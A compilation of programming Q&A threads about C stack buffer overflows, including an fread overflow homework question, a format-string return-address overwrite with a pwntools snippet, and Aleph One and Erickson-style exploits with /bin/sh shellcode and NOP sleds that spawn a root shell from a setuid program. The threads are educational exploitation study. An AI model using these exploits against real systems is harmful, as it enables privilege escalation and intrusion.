Disabling ASLR causes fread() to fail in c program - c

I am working on a homework assignment concerning a bufferOverflow.
The test program uses fread() to read 4096 bytes from a file.
When I set kernel.randomize_va_space to 0, and run the program in gdb, I can see that the fread() command returns nothing.
If I set kernel.randomize_va_space to either 1 or 2, and rerun the program using gdb, I can see the expected data in the buffer where fread stores the file.
Why would ASLR cause fread to stop working properly?
FYI: this is ubuntu 12.0.4 64-bit, and the program was compiled with the -c99 and -m32 flags to gcc.
The test program I was given for this assignment is as follows:
#include <stdio.h>
#define READSIZE 0x1000
void countLines(FILE* f){
char buf[0x400];//should be big enough for anybody
int lines=0;
fread(buf,READSIZE,1,f);
for(int i=0;i<0x400;i++)
if(buf[i] == '\n')
lines++;
printf("The number of lines in the file is %d\n",lines);
return;
}
int main(int argc,char** argv){
if(argc<2){
printf("Proper usage is %s <filename>\n",argv[0]);
exit(0);
}
FILE* myfile=fopen(argv[1],"r");
countLines(myfile);
return 0;
}
When I run it in gdb, I place my breakpoint on the line:
for(int i=0;i<0x400;i++)
In gdb, I then do the following:
(gdb) x $esp
0xbffff280 0xbffff298
If I do:
(gdb) x /12wx $esp
I can see that the first 4 bytes are the address of buf, the next 4 bytes are the 0x1000 passed to fread and the next 4 bytes are 0x01 which was also passed to fread.
This looks to me like the stack frame for the fread function not the stack frame for countLines().
Why wouldn't $esp be pointing to the current stack frame not hte one that was just exited?
Update
I modified the code as follows:
#include <stdio.h>
#define READSIZE 0x1000
void countLines(FILE* f){
char buf[0x400];//should be big enough for anybody
int lines=0;
int ferr=0;
fread(buf,READSIZE,1,f);
ferr=ferror(f);
if (ferr)
printf("I/O error when reading (%d)\n",ferr);
else if (feof(f))
printf("End of file reached successfully\n");
for(int i=0;i<0x400;i++)
if(buf[i] == '\n')
lines++;
printf("The number of lines in the file is %d\n",lines);
return;
}
int main(int argc,char** argv){
if(argc<2){
printf("Proper usage is %s <filename>\n",argv[0]);
exit(0);
}
FILE* myfile=fopen(argv[1],"r");
countLines(myfile);
return 0;
}
When I run it with ASLR diabled, I get:
I/O errorwhen readin (1)
If I run it with ASLR enabled (value=1),
get
EOF reached.

fread() reads up to nitems elements of size size into an array pointed to by ptr. It is the programmer's responsability to ensure the array is big enough.
That last part is important. fread() has no way of knowing the actual size of the array. It will happily read stuff and store it past the end of the array. Accessing past the end of the array results in Undefined Behavior: there is no guarantee as to what will happen, notably, in this case, it can result in arbitrary code execution.
As to why sometimes it bombs and sometimes not:
With no ASLR you had this:
(gdb) x $esp
0xbffff280 0xbffff298
with the buffer at address 0xbffff298. The top of the stack is at 0xbfffffff, which leaves 3432 bytes between the start of the buffer and the end of the stack. When trying to read into the buffer, the process has nothing mapped at 0xc0000000 in userspace (which you can check with cat /proc/<pid>/maps, to see the process' userspace mappings) , so the underlying read() system call fails with EFAULT - Bad address.
With ASLR, there is some randomization for stack placement. The stack base has ~11 bits 1 of randomness on x86 (arch/x86/include/asm/elf.h):
/* 1GB for 64bit, 8MB for 32bit */
#define STACK_RND_MASK (test_thread_flag(TIF_IA32) ? 0x7ff : 0x3fffff)
and the stack top has 9 additional bits of randomness (arch/x86/kernel/process.c:arch_align_stack(), called from fs/binfmt_elf.c:create_elf_tables()):
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
sp -= get_random_int() % 8192;
return sp & ~0xf;
So, arch_align_stack() offsets the stack top [0,8176] bytes, in 16 byte increments, i.e, the initial stack pointer may be moved 0, 16, 32, ..., 8176 bytes from its original position.
So, with your 3432 bytes (the buffer, plus space for argc, argv, envp, auxp, assorted pointers to them, and padding), plus the variable ASLR offset, you have only ~8% chance of having less than 4096 bytes on your stack, which would allow you to see the SEGV with ASLR on. Just try a lot of times, and you should see it about once every 12 tries.
1 The stack base can also be moved an additional page, see fs/exec.c:setup_arg_pages():
stack_top = arch_align_stack(stack_top);
stack_top = PAGE_ALIGN(stack_top);

As for the fread() arguments on stack, that's correct - these are stored before the caller's BP value is pushed on the stack by the callee, so they are part of the caller's stack frame - check x86 stack frame description. On x86-64 you won't see them since they are passed to the callee in registers.
As for the ASLR error, get the error description with perror(). Or better install debuginfo packages for glibc, so that you can trace the code into fread() itself.

I never figured out why the fread() function ws failing so I replaced it with an fgets() function and finished the assignment.
Thank you everyone for all the help.
This forum is great!

Related

C Format-String vulnerability, how to get address in buffer

I have a program that loops and reads from stdin with fgets. The whole read loop is located in a function and I am trying to overwrite the return address of the function with the printf vulnerability. The return address is located at 0xbffff0fc (it is 0x2a20029e) and the buffer on the stack is identified by the input AAAA (0x41414141).
0xbffff0b0: 0x0000000a 0x00000020 0xb7fc7c20 0xb7e4fd94
0xbffff0c0: 0xb7fc73cc 0xbffff0dc 0x41414141 0x66740000
0xbffff0d0: 0x785c2220 0x785c3439 0x785c3739 0x785c3430
0xbffff0e0: 0x29223830 0xb7fc0000 0x5da95700 0x00000000
0xbffff0f0: 0x00000000 0xb7fc7000 0x00000000 0x2a20029e
So from my understanding I need to write 0xbffff0fc in the buffer and then I can use %x%6$n (k is an integer) to write an arbitrary value to 0xbffff0fc.
So the input would look something like this: <0xbffff0fc>%x%6$n. The problem I have is how do I write <0xbffff0fc> so that it is 0xbffff0fc on the stack. With the ASCII characters alone I cannot really do this.
Edit: added the program
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int function1()
{
char line[32];
size_t size;
while(1)
{
if (!fgets(line, sizeof(line), stdin))
{
return 0;
}
size = strlen(line);
line[size - 1] = '\0';
printf(line);
printf("\n");
}
return 0;
}
int main(int argc, char** argv)
{
function1();
return 0;
}
Happy to see people ask about security question here.
I think you could take a look of pwntools.
This is a tool for writing exploit.
Here is a simple code snippet.
#!/usr/bin/env python2
from pwn import *
# a.out is your executable file
s = process('./a.out')
payload = p32(0xbffff0fc)+"%7$p"
# p32() is a function to pack your integer in little endian order
s.sendline(payload)
s.interactive()
The output will be some unprintable characters plus 0xbffff0fc
▒▒0xbffff0fc
For further explanation, line variable is already on stack.
But you have to disable the ASLR protection to make your stack address fixed.
Otherwise, every time you execute your program.
Your line variable address will be different.
Disable it:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Enable it:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
But, I don't think your problem will be how to write 0xbffff0fc to stack.
Your problem should be how to get the variable address of line with ASLR enabled.
Here is the strategy.
Leak the ebp of stack frame then you could calculate the address of line variable.(This part is important)
Do the same thing of the previous sample exploit.
Then, use %n to rewrite return address of function.
If you have question, feel free to ask me.

Can you explain the method of finding the offset of a buffer when looking for buffer overflow potential

I'm looking at aleph's article on phrack magazine. The code below can also be found there.
We have a vulnerable executable which it's code is:
vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
Now, since we don't really know, when trying to attack that executable (by overflowing buffer), what is the address of buffer. We need to know it's address because we want to override the ret to point to the beginning of buffer (in which we put our shellcode).
The guessing procedure that is described in the article is as follows:
We can create a program that takes as a parameter a buffer size, and
an offset from its own stack pointer (where we believe the buffer we
want to overflow may live). We'll put the overflow string in an
environment variable so it is easy to manipulate:
exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] = //this shellcode merely opens a shell
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
Now we can try to guess what the buffer and offset should be:
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
I don't understand what does the writer meant to present, in explot2.c we guess the size of the buffer in vulnerable.c and it's offset from the stack pointer.
Why do we apply this offset on the stack pointer of exploit2?
How does this effect vulnerable?
What's the purpose of exploit2.c except from building the EGG environment variable?
Why do we call system("/bin/bash"); at the end?
What's going on between vulnerable and exploit2 in general?
The only purpose of exploit2 is building the egg variable, which needs to be passed as a parameter to vulnerable. It could be modified so to call vulnerable on its own.
The shellcode variable contains machine code for a function that invokes a shell. The goal is to copy this code into the buffer variable of vulnerable, and then overwrite the return address of the main function of vulnerable to point to the entry point of the shell code, that is, the address of the variable buffer. The stack grows downward: the stack pointer register (esp in 32-bit x86 architecture) contains the smallest address used by local variables of the current function, at higher addresses we find other local variables, then the return address of the currently executing function, then the variables of the callee and so on. An overflow write on a variable, such as buffer in vulnerable, would overwrite whatever follows buffer in memory, in this case the return address of main since buffer is a local variable of the main function.
Now that we know what to do, we need some information:
the address of the buffer variable, let's call it bp
the address of the return address of the main function, let's call it ra
If we had this information we could forge an exploit string EGG such that:
its length is ra - bp + sizeof(void*) in order to overflow the string buffer enough to overwrite the return address (sizeof (void* is the size of the return address)
it contains the exploit code to be executed at the beginning, and the address bp at the end
Note that we only need a rough guess for the length of the string because we can just make the string longer and keep repeating the address bp all over it, but we need to compute the exact bp address if we want the shellcode to be executed properly.
We start by guessing the string length needed to overwrite the return value: 600 is enough, because it triggers an Illegal instruction error. Once we find it, we can look for the bp address.
We know that bp is around the bottom of the stack, because that's where the local variables are stored. We assume that the address for the stack are the same in vulnerable and exploit2, we measure the stack address in exploit2 and start poking around changing offset. Once we get the right offset (the one which result in addr being equal to the target bp) the shell code will be executed when the control flow return from the main function of vulnerable.
If you want to test this code, remember that this does not work in modern machines because of the execution prevention technology which is used by operating system to marks pages containing data as not executable.

GCC adds some paddings to the end of the buffer, how to disable this [duplicate]

This question already has an answer here:
Why are there 8 bytes between the end of a buffer and the saved frame pointer?
(1 answer)
Closed 8 years ago.
I am learning how to exploit a stack. Below codes:
/* bofvulcode.c */
#include <unistd.h>
int main(int argc, char **argv)
{
/* declare a buffer with max 512 bytes in size*/
char mybuff[512];
/* verify the input */
if(argc < 2)
{
printf("Usage: %s <string_input_expected>\n", argv[0]);
exit (0);
}
/* else if there is an input, copy the string into the buffer */
strcpy(mybuff, argv[1]);
/* display the buffer's content */
printf("Buffer's content: %s\n", mybuff);
return 0;
}
I have disabled ASLR using:
echo 0 > /proc/sys/kernel/randomize_va_space
And I compiled the codes using:
gcc -fno-stack-protector -z execstack -g -w bofvulcode.c -o bofvulcode
The buffer's size is 512, so more than 512 bytes are enough to cause a segmentation fault.
But I find that I have to use at least 520 bytes to crash the program.
jack#jack-VirtualBox:~/workspace$ ./bofvulcode `perl -e 'print "A"x519'`
Buffer's content: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
jack#jack-VirtualBox:~/workspace$ ./bofvulcode `perl -e 'print "A"x520'`
Buffer's content: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
So I assumes that GCC has added some kind of paddings to the end of the buffer. I am currently running Ubuntu 14.04 x64.
traditionally stack grows from top to bottom. pushing at stack means decreasing the stack pointer.
so then your main function is entered. the return adress, and the parameters are passed to stack. the parameters are 8bytes, the next element is your 512byte array that. so that the stacks looks like this.
| 0 | 1 | 2.. 512 array-bytes | argv | argC | return adress |
so your first 512 bytes simply are written correct to array buffer. the next 8 bytes overwrite your function parameters and writes after that destroy the return address. when the main routines is exited this finally causes your program to crash, since the return try to jump to an invalid address.
It's not true that because you've asked for 512 bytes that accessing beyond 512 bytes will cause a segfault. Memory is allocated to a process by pages (e.g., 4K at a time) and cannot be allocated by lesser amounts.

Buffer Overflow esp offset

I'm a computer engineering student who is studying how stack buffer overflows work. The book I'm reading is The Art of Exploitation (1st edition) by Jon Erickson.
In order to practice what I'm studying I've installed Damn Vulnerable Linux distribution in a virtual machine. I've disabled ASRL (kernel.randomize_va_space = 0), I've compiled the following codes with GCC 3.4.6, I'm using GDB 6.6 and the kernel of the distribution is 2.6.20. My computer has an Intel processor.
The vulnerable program (test2) is created by root and is set as setuid.
The vulnerable code is the following:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
While the exploit code, created by normal (non root) user, is the following:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
The program works, it exploits the buffer overflow vulnerability in test2 and gives me a root shell.
What I don't understand, even after reading the book several times and trying to find answers on the internet, is why the value of the stack pointer that we store in the variable esp is the return address of our shellcode. I've disassembled the program with GDB and everything works as the author says but I don't understand why this happens.
I would have liked to show you how the disassembled program looked like and how the memory looked like during execution, but I cannot copy/paste from the guest machine on the virtual machine and I'm not allowed to insert images in my question. So I can only try to describe what happens during execution of the program main (the one that exploits the BOF in test2):
disassembling main, I see that 28 bytes are allocated on the stack (7 variables * 4 bytes). Then the function sp() is called and the value of the stack pointer is stored in esp. The value stored in the variable esp is 0xbffff344. Then, as you can see, we have some printf, we store the payload in buffer2 and then we call the execl function passing buffer2 as an argument.
now the root shell shows up and then the program exits. Disassembling the program after setting a different offset, I can clearly see that 0xbffff344 is precisely the address where the payload is stored when test2 is executed. Could you explain me how does this happen? Does execl sets a new stack frame for the test2 program? In main.c only 28 bytes are allocated on the stack, while in test2 500 bytes are allocated on the stack (for buffer2). So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
I thank you and apologize if I wrote some stupid things.
Could you explain me how does this happen?
When ASLR is disabled every executable starts at the same address, so given the stack pointer you are able to guess the required offset to find your buffer location in test2. This is also where the NOP sled becomes useful, since it give you multiple possible hit if the offset is not the exact displacement to the shellcode.
That being said the fact the the value of ESP in the main function of your exploit program IS the location of the executed buffer in test2 seems incorrect. Are you sure you just don't misinterpreted gdb results?
You should be able to compute the offset of the buffer using the following : esp - 500 + 28.
Note that you should always wear gloves when using such formula : how the compiler handles locals, (size, order, etc) can vary.
So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
Well You don't. It depends of the machine, how the program was compiled etc.
Does execl sets a new stack frame for the test2 program?
From the execve man pages :
The exec family of functions shall replace the current process image
with a new process image. The new image shall be constructed from a
regular, executable file called the new process image file. There
shall be no return from a successful exec, because the calling process
image is overlaid by the new process image.
The stack is overridden by a new one for test2.
Hope it helps :)

Segmentation fault: Stack allocation in a C program in Ubuntu when bufffer>4M

Here's a small program to a college's task:
#include <unistd.h>
#ifndef BUFFERSIZE
#define BUFFERSIZE 1
#endif
main()
{
char buffer[BUFFERSIZE];
int i;
int j = BUFFERSIZE;
i = read(0, buffer, BUFFERSIZE);
while (i>0)
{
write(1, buffer, i);
i = read(0, buffer, BUFFERSIZE);
}
return 0;
}
There is a alternative using the stdio.h fread and fwrite functions instead.
Well. I compiled this both versions of program with 25 different values of Buffer Size: 1, 2, 4, ..., 2^i with i=0..30
This is a example of how I compile it:
gcc -DBUFFERSIZE=8388608 prog_sys.c -o bin/psys.8M
The question: In my machine (Ubuntu Precise 64, more details in the end) all versions of the program works fine:
./psys.1M < data
(data is a small file with 3 line ascii text.)
The problem is: When the buffer size is 8MB or greater. Both versions (using system call or clib functions) crashes with these buffer sizes (Segmentation Fault).
I tested many things. The first version of the code was like this:
(...)
main()
{
char buffer[BUFFERSIZE];
int i;
i = read(0, buffer, BUFFERSIZE);
(...)
This crashs when I call the read function. But with these versions:
main()
{
char buffer[BUFFERSIZE]; // SEGMENTATION FAULT HERE
int i;
int j = BUFFERSIZE;
i = read(0, buffer, BUFFERSIZE);
main()
{
int j = BUFFERSIZE; // SEGMENTATION FAULT HERE
char buffer[BUFFERSIZE];
int i;
i = read(0, buffer, BUFFERSIZE);
Both them crashs (SEGFAULT) in the first line of main. However, if I move the buffer out of main to the global scope (thus, allocation in the heap instead the stack), this works fine:
char buffer[BUFFERSIZE]; //NOW GLOBAL AND WORKING FINE
main()
{
int j = BUFFERSIZE;
int i;
i = read(0, buffer, BUFFERSIZE);
I use a Ubuntu Precise 12.04 64bits and Intel i5 M 480 1st generation.
#uname -a
Linux hostname 3.2.0-34-generic #53-Ubuntu SMP Thu Nov 15 10:48:16 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
I don't know the OS limitations about the stack. Is there some way to allocate big data in stack, even if this is not a good pratice?
I think it is pretty simple: if you try to make the buffer too big, it overflows the stack.
If you use malloc() to allocate the buffer, I bet you will have no problem.
Note that there is a function called alloca() that explicitly allocates stack storage. Using alloca() is pretty much the same thing as declaring a stack variable, except that it happens while your program is running. Reading the man page for alloca() or discussions of it may help you to understand what is going wrong with your program. Here's a good discussion:
Why is the use of alloca() not considered good practice?
EDIT: In a comment, #jim mcnamara told us about ulimit, a command-line tool that can check on user limits. On this computer (running Linux Mint 14, so it should be the same limits as Ubuntu 12.10) the ulimit -s command shows a stack size limit of: 8192 K-bytes, which tracks nicely with the problem as you describe it.
EDIT: In case it wasn't completely clear, I recommend that you solve the problem by calling malloc(). Another acceptable solution would be to statically allocate the memory, which will work fine as long as your code is single-threaded.
You should only use stack allocation for small buffers, precisely because you don't want to blow up your stack. If your buffers are big, or your code will recursively call a function many times such that the little buffers will be allocated many many times, you will clobber your stack and your code will crash. The worst part is that you won't get any warning: it will either be fine, or your program already crashed.
The only disadvantage of malloc() is that it is relatively slow, so you don't want to call malloc() inside time-critical code. But it's fine for initial setup; once the malloc is done, the address of your allocated buffer is just an address in memory like any other memory address within your program's address space.
I specifically recommend against editing the system defaults to make the stack size bigger, because that makes your program much less portable. If you call standard C library functions like malloc() you could port your code to Windows, Mac, Android, etc. with little trouble; if you start calling system functions to change the default stack size, you would have much more problems porting. (And you may have no plans to port this now, but plans change!)
The stack size is quite often limited in Linux. The command ulimit -s will give the current value, in Kbytes. You can change the default in (usually) the file /etc/security/limits.conf. You can also, depending on privileges, change it on a per-process basis via the code:
#include <sys/resource.h>
// ...
struct rlimit x;
if (getrlimit(RLIMIT_STACK, &x) < 0)
perror("getrlimit");
x.rlim_cur = RLIM_INFINITY;
if (setrlimit(RLIMIT_STACK, &x) < 0)
perror("setrlimit");

Resources